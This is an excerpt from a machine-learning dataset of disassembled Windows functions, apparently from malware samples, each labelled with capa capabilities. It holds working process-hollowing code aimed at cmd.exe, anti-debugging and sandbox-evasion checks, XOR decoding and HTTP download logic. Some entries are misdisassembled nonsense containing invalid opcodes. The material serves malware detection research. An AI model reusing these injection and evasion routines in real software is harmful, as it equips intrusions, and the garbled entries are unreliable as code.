joyce8/EMBER2024-capa huggingface dataset:
Function at 0x452574
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x694
push ebx
xor ebx, ebx
push ebp
mov ebp, dword [esp + 0x6ac]
push esi
mov esi, dword [esp + 0x6a4]
mov edx, dword [esi + 4]
push edi
xor eax, eax
push ebx
mov word [esp + 0x50], ax
mov eax, dword [esi]
push edx
xor ecx, ecx
push eax
mov dword [esp + 0x34], ebx
mov dword [esp + 0x38], ebx
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x40], ebx
mov dword [esp + 0x44], ebx
mov dword [esp + 0x48], ebx
mov dword [esp + 0x4c], ebx
mov dword [esp + 0x50], ebx
mov dword [esp + 0x54], ebx
mov word [esp + 0x262], cx
mov dword [esp + 0x488], ebx
mov dword [esp + 0x2c], 1
call fcn.0041557c
mov edx, dword [esp + 0x6b8]
add esp, 0xc
lea ecx, [esp + 0x490]
push ecx
push edx
push esi
call fcn.004523ce
test eax, eax
je 0x45260c
lea eax, [ebx + 6]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x694
ret 0x10
mov eax, dword [esi]
push eax
push 1
lea ecx, [esp + 0x1f]
push 1
push ecx
call fcn.004151b0
mov edx, dword [esi]
push edx
push 1
lea eax, [esp + 0x30]
push 4
push eax
call fcn.004151b0
mov ecx, dword [esi]
mov edi, dword [esp + 0x38]
push ecx
push 1
lea edx, [esp + 0x40]
push 4
push edx
xor edi, 0x87bc
call fcn.004151b0
mov ecx, dword [esi]
mov eax, dword [esp + 0x48]
push ecx
push 1
lea edx, [esp + 0x50]
xor eax, 0x87bc
push 4
push edx
mov dword [ebp], eax
call fcn.004151b0
mov eax, dword [esp + 0x58]
add esp, 0x40
xor eax, 0xa685
push 1
mov dword [esp + 0x28], eax
mov eax, dword [esi]
push 0x10
push eax
call fcn.0041557c
mov ecx, dword [ebp]
add esp, 0xc
push ecx
call fcn.004138ba
add esp, 4
push edi
mov dword [esp + 0x20], eax
call fcn.004138ba
mov edx, dword [esi]
add esp, 4
push edx
push 1
mov ebp, eax
push edi
push ebp
call fcn.004151b0
mov eax, dword [esi + 8]
add esp, 0x10
add eax, 0x5f246717
push eax
push edi
push ebp
call fcn.0044afdc
push edi
push ebp
lea ecx, [esp + 0x28]
push ecx
call fcn.0043535d
mov edx, dword [esp + 0x24]
cmp edx, dword [esp + 0x20]
je 0x4526fd
mov eax, dword [esp + 0x1c]
push eax
call fcn.00413a88
add esp, 4
push ebp
call fcn.00413a88
add esp, 4
mov eax, 0xa
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x694
ret 0x10
cmp byte [esp + 0x17], 1
jne 0x45275b
xor ecx, ecx
mov eax, 1
mov word [esp + 0x4c], cx
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov eax, dword [esp + 0x1c]
lea ecx, [esp + 0x28]
xor edx, edx
push ecx
mov dword [esp + 0x34], ebx
mov dword [esp + 0x38], ebx
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x48], ebx
mov dword [esp + 0x4c], ebx
mov word [esp + 0x25a], dx
mov dword [esp + 0x480], ebx
mov dword [esp + 0x30], ebp
mov dword [esp + 0x2c], eax
call fcn.0044b195
push ebp
call fcn.00413a88
jmp 0x452769
mov edx, dword [esp + 0x1c]
push edx
call fcn.00413a88
mov dword [esp + 0x20], ebp
mov eax, dword [esp + 0x6b4]
mov ecx, dword [esp + 0x20]
add esp, 4
pop edi
pop esi
pop ebp
mov dword [eax], ecx
xor eax, eax
pop ebx
add esp, 0x694
ret 0x10
Function at 0x10005c68
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push edx
call 0x10005c51
add byte [edi + 0x3f], cl
cmp al, 0x43
cmp dword [eax + 0x3b], ecx
inc edx
inc ecx
inc ebp
add esp, 4
and edx, 0x172db
call fcn.10005c68
add byte [edi], bh
dec ebx
dec ecx
xor eax, 0x36504b41
add esp, 4
sub edx, 0x17447
pop edx
mov ecx, dword [ebp - 0xe9c]
mov dx, word [ecx]
mov word [ebp - 0x12b2], dx
mov eax, dword [ebp - 0xe9c]
add eax, 2
mov dword [ebp - 0xe9c], eax
mov cx, word [ebp - 0x12b2]
mov word [ebp - 0x268], cx
mov edx, dword [ebp - 0xea0]
mov ax, word [edx]
mov word [ebp - 0x12b4], ax
mov ecx, dword [ebp - 0xea0]
add ecx, 2
mov dword [ebp - 0xea0], ecx
mov dx, word [ebp - 0x12b4]
mov word [ebp - 0x13c], dx
push esi
push ebx
add esp, 4
sub esi, 0xbdb6
jmp 0x10005cdd
sub esi, 0x11946
pop esi
push edi
and edi, 0xf2ba
sub edi, 0x72d9
pop edi
push ebx
push eax
add esp, 4
add ebx, 0xc821
pop ebx
movzx eax, word [ebp - 0x13c]
test eax, eax
jne 0x10005d21
movzx ecx, word [ebp - 0x268]
movzx edx, word [ebp - 0x13c]
sub ecx, edx
mov dword [ebp - 0x1900], ecx
jmp 0x10005d84
movzx eax, word [ebp - 0x268]
movzx ecx, word [ebp - 0x13c]
cmp eax, ecx
je 0x10005c40
movzx edx, word [ebp - 0x268]
xor edx, 0x20
movzx eax, word [ebp - 0x13c]
cmp edx, eax
je 0x10005c40
movzx ecx, word [ebp - 0x268]
movzx edx, word [ebp - 0x13c]
cmp ecx, edx
jge 0x10005d6e
mov dword [ebp - 0x18fc], 0xffffffff
jmp 0x10005d78
mov dword [ebp - 0x18fc], 1
mov eax, dword [ebp - 0x18fc]
mov dword [ebp - 0x1900], eax
cmp dword [ebp - 0x1900], 0
jne 0x10005dcd
push edx
push edx
add esp, 4
sub edx, 0x1dab
jmp 0x10005d9d
pop edx
push eax
push ecx
add esp, 4
and eax, 0x87d3
pop eax
push ebx
jmp 0x10005db2
add ebx, 0x15970
sub ebx, 0xdfbe
pop ebx
mov ecx, dword [ebp - 0x5c8]
mov dword [ebp - 0x870], ecx
jmp 0x10005e35
push ebx
push esi
add esp, 4
and ebx, 0x2df8
sub ebx, 0xa3e0
pop ebx
push esi
push ebx
add esp, 4
jmp 0x10005ded
jmp 0x10005df2
add esi, 0x878
add esi, 0xfe47
pop esi
mov edx, dword [ebp - 0x5c8]
mov eax, dword [edx]
mov dword [ebp - 0x5c8], eax
mov ecx, dword [ebp - 0x5c8]
cmp ecx, dword [ebp - 0xea4]
je 0x10005e2b
mov edx, dword [ebp - 0x5c8]
cmp dword [edx + 0x30], 0
jne 0x10005be1
mov dword [ebp - 0x870], 0

Function at 0x10007b90
Capabilities:
Resolve function by parsing pe exports

Disassembly:
xor al, 0x3e
inc eax
xor eax, 0xc4834d3e
add esp, 4
invalid
invalid

Function at 0x10007b96
Capabilities:
Resolve function by parsing pe exports

Disassembly:
xor al, 0x3e
inc eax
xor eax, 0xc4834d3e
add esp, 4
invalid
invalid

Function at 0x10007bb0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
add al, 0x81
ljmp 0x8b5a

Function at 0x1000e3b0
Capabilities:
Encode data using xor

Disassembly:
pop es
jl 0x1000e3cb
xchg edx, eax
mov ebx, cs
std
push es
push es
nop
mov word [ebx + 2], ds
push es
push es
invalid
push es
xchg edx, eax
pushfd
xor eax, dword [ebx]
push es
push es
or bl, byte [eax + 0x43]
nop
pushfd
jg 0x1000e3c9
push es
push es
jl 0x1000e3f3
xchg edx, eax
mov ebx, cs
std
push es
push es
nop
mov word [ebx + 2], ds
push es
push es
invalid
pop es
xchg edx, eax
invalid
Function at 0x10014ae0
Capabilities:
Encode data using xor

Disassembly:
pop es
mov cl, dh
lds edx, [ebx]
pop es
pop es
popal
push ss
mov esi, 0x606638c
push es
mov edi, es
jl 0x10014b12
push ss
mov esi, 0x6040b94
push es
push es
push ss
mov esi, 0x606639c
push es
xor dl, cl
nop
xchg esp, eax
ja 0x10014af8
push es
push es
push 0x16
mov esi, 0x6040b8c
push es
push ss
mov esi, 0x6066394
push es
inc edx
enter 0xffffffffffff8b16, 0x10
push es
push es
push es
push ss
mov esi, 0x6040b9c
push es
mov bh, cl
daa
push ss
mov esi, 0x606638c
push es
inc edx
xlatb
push ss
mov esi, edi
add eax, 0xbe160606
xchg esp, eax
or eax, dword [esi + eax]
push es
push ss
mov esi, 0x606639c
push es
inc edx
rol dword [ebx + edx - 0xe847332], 1
push es
push es
push es
push es
push es
push es
adc esi, ecx
invalid

Function at 0x100230c0
Capabilities:
Encode data using xor

Disassembly:
pop es
pop dx
or eax, 0x4d42423d
inc eax
aas
bound edx, qword [edx + 0x6feab94]
push es
or dl, byte [ebx + ebp*2 + 0x16060605]
lds ebx, [eax]
mov dl, cl
daa
xchg edx, eax
mov word [ebx + 5], gs
push es
push es
push ss
lds edx, [ebx + 0x600a70c]
push es
mov dl, al
daa
inc edx
fadd dword [ebx + edx - 0xb487332]
push es
push es
push es
push es
push es
push es
adc esi, ecx
invalid
Function at 0x10051ed0
Capabilities:
Capture screenshot

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x38
mov eax, dword [0x100ca00c]
xor eax, esp
mov dword [esp + 0x34], eax
mov eax, dword [ebp + 8]
push esi
mov esi, ecx
mov dword [esp + 8], eax
push edi
mov edi, dword [esi + 0x18]
sub edi, dword [esi + 0x10]
mov ecx, dword [esi + 0x1c]
sub edi, 0xf
sub ecx, dword [esi + 0x14]
mov edx, dword [esi + 0x12c]
mov dword [esp + 0x10], ecx
test edx, edx
je 0x1005204b
mov eax, dword [edx + 8]
mov dword [edx + 8], 0
test eax, eax
jne 0x10052045
cmp dword [esi + 0x54], eax
jne 0x10052018
push ecx
lea eax, [edi*4]
mov ecx, esi
push eax
push dword [esp + 0x14]
call sym.mui.dll_public:_void___thiscall_MUI::MControl::UpdateMemDC_struct_HDC______int__int_
mov eax, dword [esp + 0x10]
mov dword [esp + 0x2c], eax
lea eax, [esp + 8]
push eax
push dword [esi + 0xc0]
mov dword [esp + 0x28], 0
mov dword [esp + 0x2c], 0
mov dword [esp + 0x30], edi
mov dword [esp + 0x10], 0
call dword [sym.imp.gdiplus.dll_GdipCreateFromHDC]
mov dword [esp + 0x1c], eax
xor ecx, ecx
mov eax, dword [esp + 8]
mov dword [esp + 0x18], eax
mov dword [esp + 8], 0
mov dword [esp + 0x14], ecx
nop
mov eax, dword [esp + 0xc]
push 0xcc0020
push dword [esi + 0x14]
push dword [esi + 0x10]
push dword [eax]
push dword [esp + 0x20]
push edi
push 0
push ecx
push dword [esi + 0xc0]
call dword [sym.imp.GDI32.dll_BitBlt]
mov eax, dword [esi + 0x130]
push 4
push dword [esi + 0x134]
push eax
imul eax, dword [esp + 0x14]
push 0
push eax
lea eax, [esp + 0x34]
push eax
push dword [esi + 0x12c]
lea eax, [esp + 0x34]
push eax
call sym.mui.dll_public:_static_void___cdecl_MUI::MRender::DrawImageFrame_class_Gdiplus::Graphics___class_Gdiplus::Image___class_CRect_const___int__int__int__int__int_
add esp, 0x20
lea eax, [esp + 0x20]
push 0
push edi
push eax
call dword [sym.imp.USER32.dll_OffsetRect]
mov eax, dword [esp + 8]
mov ecx, dword [esp + 0x14]
inc eax
add ecx, edi
mov dword [esp + 8], eax
mov dword [esp + 0x14], ecx
cmp eax, 4
jl 0x10051f90
push dword [esp + 0x18]
call dword [sym.imp.gdiplus.dll_GdipDeleteGraphics]
mov ecx, dword [esp + 0x10]
mov eax, dword [esi + 0x194]
push 0xcc0020
push 0
imul eax, edi
push eax
push dword [esi + 0xc0]
push ecx
push edi
push dword [esi + 0x14]
mov edi, dword [esp + 0x28]
push dword [esi + 0x10]
push dword [edi]
call dword [sym.imp.GDI32.dll_BitBlt]
jmp 0x1005204d
mov edi, dword [esp + 0xc]
jmp 0x1005204d
mov edi, eax
mov ecx, dword [esi + 0x19c]
test ecx, ecx
je 0x100520a1
movups xmm0, xmmword [esi + 0x10]
push 0
push 0
push 0
movups xmmword [esp + 0x2c], xmm0
mov eax, dword [ecx + 0x40]
lea edx, [ebp + 0xc]
push edx
push 0
mov dword [esp + 0x38], eax
lea edx, [esp + 0x34]
mov eax, dword [ecx + 0x48]
push edx
mov dword [esp + 0x44], eax
mov eax, dword [ecx + 0x3c]
push 0
push dword [edi]
mov dword [esp + 0x40], eax
mov eax, dword [ecx + 0x44]
mov dword [esp + 0x48], eax
mov ecx, dword [ecx + 0xc]
push 0
push 0
push 0
mov eax, dword [ecx]
push 1
call dword [eax + 0x10]
mov ecx, dword [esp + 0x3c]
pop edi
pop esi
xor ecx, esp
call fcn.1008c351
mov esp, ebp
pop ebp
ret 0x14
Function at 0x4010e0
Capabilities:
Allocate or change rwx memory
Terminate process

Disassembly:
push ebx
push esi
push edi
push 4
push 0x3000
mov esi, 0x1e5d70
push esi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
push eax
cmp eax, 0x11
je 0x4010ad
mov eax, eax
cld
test ecx, ecx
or eax, eax
clc
pop eax
test edi, edi
je 0x4010dc
nop
mov al, al
push 0xf1b30
push 0
push edi
call fcn.00423860
add esp, 0xc
push ebx
mov cl, cl
mov cl, cl
cld
pop ebx
push 0x8000
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop esi
pop ebx
ret
push 0
push 0x40
push 0x3000
push 0x7d0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocExNuma]
test eax, eax
jne 0x401108
push eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]
jmp 0x401088

Function at 0x401274
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x43c078]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, 0x104
push esi
lea eax, [ebp - 0x20c]
push 0
push eax
call fcn.00423860
push esi
lea eax, [ebp - 0x108]
push 0
push eax
call fcn.00423860
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
add esp, 0x18
push 0x439a98
lea eax, [ebp - 0x20c]
push eax
call esi
push 0x439a9c
lea eax, [ebp - 0x20c]
push eax
call esi
push 0x439aa0
lea eax, [ebp - 0x20c]
push eax
call esi
push 0x439aa4
lea eax, [ebp - 0x20c]
push eax
call esi
push 0x439aa8
lea eax, [ebp - 0x20c]
push eax
call esi
push 0x439aac
lea eax, [ebp - 0x20c]
push eax
call esi
push 0x439ab0
lea eax, [ebp - 0x108]
push eax
call esi
push 0x439ab4
lea eax, [ebp - 0x108]
push eax
call esi
push 0x439ab8
lea eax, [ebp - 0x108]
push eax
call esi
push 0x439abc
lea eax, [ebp - 0x108]
push eax
call esi
push 0x439ac0
lea eax, [ebp - 0x108]
push eax
call esi
push 0x439ac4
lea eax, [ebp - 0x108]
push eax
call esi
push 0x439ac8
lea eax, [ebp - 0x108]
push eax
call esi
lea esi, [ebp - 0x20c]
call fcn.00410b3d
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x401395
test cl, cl
je 0x401391
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x401395
add eax, 2
add esi, 2
test cl, cl
jne 0x401375
xor eax, eax
jmp 0x40139a
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x4013d9
lea esi, [ebp - 0x108]
call fcn.00410b0b
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x4013c9
test cl, cl
je 0x4013c5
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x4013c9
add eax, 2
add esi, 2
test cl, cl
jne 0x4013a9
xor eax, eax
jmp 0x4013ce
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x4013d9
push eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.0041cc5e
leave
ret

Function at 0x40147a
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
mov eax, dword fs:[0x30]
push ecx
mov ecx, dword [eax + 2]
mov dword [ebp - 4], ecx
pop ecx
leave
ret
Function at 0x40149d
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
push esi
push edi
push eax
nop
nop
nop
nop
mov eax, dword fs:[0x30]
nop
nop
nop
nop
mov dword [ebp - 4], eax
nop
nop
pop eax
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0xc]
add esi, 0x14
mov edi, dword [esi]
jmp 0x4014db
push dword [ebp + 8]
push dword [edi + 0x28]
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x4014e5
mov edi, dword [edi]
cmp edi, esi
jne 0x4014c9
xor al, al
pop edi
pop esi
leave
ret
mov al, 1
jmp 0x4014e1

Function at 0x401656
Capabilities:
Get common file path
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x62c
mov eax, dword [0x43c078]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea eax, [ebp - 0x20c]
push eax
xor edi, edi
push 0x104
mov dword [ebp - 0x62c], edi
mov dword [ebp - 0x628], edi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x4017f9
push str.delays.tmp
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x61c]
push str._s_s
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
mov dword [ebp - 0x624], edi
mov esi, 0xfffff
push edi
push 0x100
push 2
push edi
push edi
push 0x40000000
lea eax, [ebp - 0x61c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x620], eax
cmp eax, 0xffffffff
je 0x4017f9
push esi
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push edi
mov ebx, eax
call dword [sym.imp.msvcrt.dll__time64]
push eax
call dword [sym.imp.msvcrt.dll_srand]
pop ecx
pop ecx
push esi
call dword [sym.imp.msvcrt.dll_rand]
cdq
mov ecx, 0xff
idiv ecx
push edx
push ebx
call fcn.00423860
add esp, 0xc
push edi
lea eax, [ebp - 0x628]
push eax
push esi
push ebx
push dword [ebp - 0x620]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x4017f9
cmp dword [ebp - 0x628], esi
jne 0x4017f9
push esi
push edi
push ebx
call fcn.00423860
add esp, 0xc
push dword [ebp - 0x620]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
push 0x4000100
push 3
push edi
push edi
push 0x80000000
lea eax, [ebp - 0x61c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x620], eax
cmp eax, 0xffffffff
je 0x4017f9
push edi
lea ecx, [ebp - 0x62c]
push ecx
push esi
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4017f9
cmp dword [ebp - 0x62c], esi
jne 0x4017f9
push esi
push edi
push ebx
call fcn.00423860
add esp, 0xc
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
push dword [ebp - 0x620]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc dword [ebp - 0x624]
cmp dword [ebp - 0x624], 0x3e8
jb 0x4016c0
xor eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041cc5e
leave
ret
xor eax, eax
jmp 0x4017ea
Function at 0x4047d9
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push edi
lea eax, [ebx + 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
and dword [ebp - 4], 0
mov edi, eax
mov byte [edi + ebx], 0
test ebx, ebx
je 0x404837
mov eax, dword [ebp + 8]
sub eax, edi
mov dword [ebp - 8], eax
push esi
mov esi, dword [ebp - 4]
push dword [ebp + 0xc]
add esi, edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, eax
mov eax, dword [ebp - 4]
xor edx, edx
div ecx
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 8]
mov al, byte [edx + eax]
xor al, byte [ecx + esi]
inc dword [ebp - 4]
mov byte [esi], al
cmp dword [ebp - 4], ebx
jb 0x404809
pop esi
mov eax, edi
pop edi
leave
ret

Function at 0x404a2f
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x43c078]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
mov dword [ebp - 0x10], 0x33323130
mov dword [ebp - 0xc], 0x37363534
mov word [ebp - 8], 0x3938
mov byte [ebp - 6], 0
mov ecx, edi
mov eax, esi
push ebx
push 0xa
cdq
pop ebx
idiv ebx
inc ecx
test eax, eax
jne 0x404a5f
mov byte [ecx], al
pop ebx
mov eax, esi
xor edx, edx
push 0xa
pop esi
div esi
dec ecx
mov dl, byte [ebp + edx - 0x10]
mov esi, eax
mov byte [ecx], dl
test esi, esi
jne 0x404a6d
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov eax, edi
pop esi
call fcn.0041cc5e
leave
ret
Function at 0x406955
Capabilities:
Check http status code

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x980
mov eax, dword [0x43c078]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
sub esp, 0xc
mov dword [ebp - 0x8d8], eax
lea eax, [ebp + 0xc]
mov esi, esp
call fcn.004103d1
lea eax, [ebp - 0x980]
push eax
call fcn.00404aa7
add esp, 0x10
push 0xf
pop ecx
mov esi, eax
lea edi, [ebp - 0x944]
rep movsd dword es:[edi], dword [esi]
push 0x4359be
lea esi, [ebp - 0x8f8]
call fcn.0041039f
xor ebx, ebx
push ebx
push ebx
push ebx
push 1
push dword [ebp + 0x18]
call dword [0x63fab8]
push dword [0x63f78c]
mov dword [ebp - 0x8dc], eax
push dword [ebp - 0x940]
xor esi, esi
call dword [0x63fb94]
test eax, eax
jne 0x4069dc
inc esi
cmp dword [ebp - 0x8dc], ebx
je 0x406b60
push ebx
push ebx
push 3
push ebx
push ebx
push dword [ebp - 0x92c]
push dword [ebp - 0x934]
push dword [ebp - 0x8dc]
call dword [0x63fbb8]
mov dword [ebp - 0x8e8], eax
cmp eax, ebx
je 0x406b54
mov eax, esi
neg eax
push ebx
sbb eax, eax
and eax, 0x800000
add eax, 0x400100
push eax
push ebx
push ebx
push dword [0x63f5d8]
push dword [ebp - 0x918]
push 0x436890
push dword [ebp - 0x8e8]
call dword [0x63fbf8]
mov edi, eax
mov dword [ebp - 0x8e0], edi
cmp edi, ebx
je 0x406b48
cmp esi, ebx
je 0x406a75
or dword [ebp - 0x8ec], 0x10300
push 4
lea eax, [ebp - 0x8ec]
push eax
push 0x1f
push edi
call dword [0x63f9b0]
push ebx
push ebx
push ebx
push ebx
push edi
call dword [0x63fb80]
push ebx
mov esi, eax
lea eax, [ebp - 0x8fc]
push eax
lea eax, [ebp - 0x104]
push eax
push 0x13
push edi
mov dword [ebp - 0x8fc], 0x100
call dword [0x63fc10]
test eax, eax
jne 0x406abd
push 0x436894
mov esi, dword [ebp - 0x8d8]
call fcn.0041039f
jmp 0x406b71
lea edx, [ebp - 0x104]
call fcn.004119b5
cmp eax, 0xc8
jne 0x406b9d
cmp esi, ebx
je 0x406b3c
mov edi, 0x7cf
jmp 0x406b1d
mov eax, dword [ebp - 0x8e4]
cmp eax, ebx
je 0x406b3c
mov byte [ebp + eax - 0x8d4], bl
lea eax, [ebp - 0x8d4]
push eax
lea esi, [ebp - 0x908]
lea eax, [ebp - 0x8f8]
call fcn.004104c1
lea esi, [ebp - 0x8f8]
call fcn.00410445
mov eax, dword [ebp - 0x908]
call fcn.00402910
lea eax, [ebp - 0x8e4]
push eax
push edi
lea eax, [ebp - 0x8d4]
push eax
push dword [ebp - 0x8e0]
call dword [0x63fae0]
test eax, eax
jne 0x406ade
push dword [ebp - 0x8e0]
call dword [0x63fab4]
push dword [ebp - 0x8e8]
call dword [0x63fab4]
push dword [ebp - 0x8dc]
call dword [0x63fab4]
mov esi, dword [ebp - 0x8d8]
lea eax, [ebp - 0x8f8]
call fcn.004103d1
mov eax, dword [ebp - 0x8f8]
call fcn.00402910
mov eax, dword [ebp + 0xc]
call fcn.00402910
mov eax, dword [ebp + 0x18]
call fcn.00402910
mov ecx, dword [ebp - 4]
pop edi
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041cc5e
leave
ret
push 0x43689c
jmp 0x406aad
Function at 0x40f402
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x70
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [eax + 0x3c]
xor ebx, ebx
add esi, eax
mov dword [ebp - 0x14], ebx
xor eax, eax
cmp dword [esi], 0x4550
push edi
jne 0x40f4c8
lea edi, [ebp - 0x24]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 0x44
stosd dword es:[edi], eax
lea eax, [ebp - 0x6c]
push ebx
push eax
call fcn.00423860
add esp, 0xc
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x6c]
push eax
push ebx
push ebx
push 4
pop edi
push edi
push 1
push ebx
push ebx
push 0x4355a5
push str.C:WindowsSystem32cmd.exe
call dword [0x63fa64]
test eax, eax
je 0x40f4c6
push edi
push 0x1000
push edi
push ebx
call dword [0x63fb20]
mov ebx, eax
push ebx
mov dword [ebx], 0x10007
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x40f4c6
push 0
push edi
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebx + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push 0x40
push 0x3000
push dword [esi + 0x50]
push dword [esi + 0x34]
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x10], eax
test eax, eax
jne 0x40f4cd
push dword [ebp - 0x20]
call dword [0x63fbd4]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
mov edi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push dword [esi + 0x54]
push dword [ebp + 8]
push eax
push dword [ebp - 0x24]
call edi
and dword [ebp - 0xc], 0
xor eax, eax
cmp ax, word [esi + 6]
jae 0x40f527
and dword [ebp - 8], eax
mov ecx, dword [ebp + 8]
mov eax, dword [ecx + 0x3c]
add eax, dword [ebp - 8]
push 0
lea eax, [eax + ecx + 0xf8]
push dword [eax + 0x10]
mov edx, dword [eax + 0x14]
mov eax, dword [eax + 0xc]
add eax, dword [ebp - 0x10]
add edx, ecx
push edx
push eax
push dword [ebp - 0x24]
call edi
movzx eax, word [esi + 6]
inc dword [ebp - 0xc]
add dword [ebp - 8], 0x28
cmp dword [ebp - 0xc], eax
jl 0x40f4f0
push 0
push 4
lea eax, [esi + 0x34]
push eax
mov eax, dword [ebx + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x24]
call edi
mov eax, dword [esi + 0x28]
add eax, dword [ebp - 0x10]
push ebx
mov dword [ebx + 0xb0], eax
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [ebp - 0x20]
call dword [0x63fbd4]
mov eax, dword [ebp - 0x1c]
jmp 0x40f4c8